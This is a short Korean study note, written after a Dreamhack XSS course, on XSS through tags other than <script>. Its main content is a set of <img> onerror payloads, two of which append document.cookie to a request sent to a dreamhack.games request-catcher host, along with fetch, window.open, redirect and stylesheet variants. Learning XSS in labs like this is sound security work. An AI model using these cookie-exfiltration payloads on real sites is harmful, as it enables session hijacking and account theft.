XSS 탐구하기 1

이 글은 드림핵 XSS 수업(https://learn.dreamhack.io/173) 수강 후에 부족한 지식을 보충하기 위해 작성했습니다.

HTML5 에서는 innerHTML 속성은 XSS 공격 방지를 위해 <script> 태그를 필터링 한다.

하지만 <img> 태그를 포함한 여러 태그들은 여전히 XSS 공격에 위험하다.

get 요청을 보낼 수 있는 태그

<img src ='xss' onerror="this.onerror=null; this.src='https://fmcpiyq.request.dreamhack.games?cookie='+document.cookie">

this.src에 있는 주소에서 img를 찾는다. img가 없으면 다시 onerror를 호출하게 된다.

그래서 this.src 링크가 유효하지 않으면 무한루프에 빠지는데 this.onerror=null; 을 추가하면 무한루프 없이 요청 1번만 오는 것을 확인할 수 있다.

<img src="xss" onerror="new Image().src = 'https://fmcpiyq.request.dreamhack.games/?cookie=' + document.cookie; ">

new Image() 함수를 통해 주소로 get 요청을 보낼 수 있다. 하지만 쿠키는 오지 않는 모습을 확인할 수 있다.

No host permissions for cookies at url: "[file:////index.html](file:////index.html)".

로컬 환경에서는 쿠키를 사용할 수 없다고 한다.

<img src="#" onerror="window.open('https://ojkjjkt.request.dreamhack.games')">

<img src="#" onerror="location.href='https://ojkjjkt.request.dreamhack.games'">

<img src="https://hfbzuiw.request.dreamhack.games">

<img src=1 onerror="fetch('https://hfbzuiw.request.dreamhack.games');">

<link rel="stylesheet" href="https://hfbzuiw.request.dreamhack.games">

....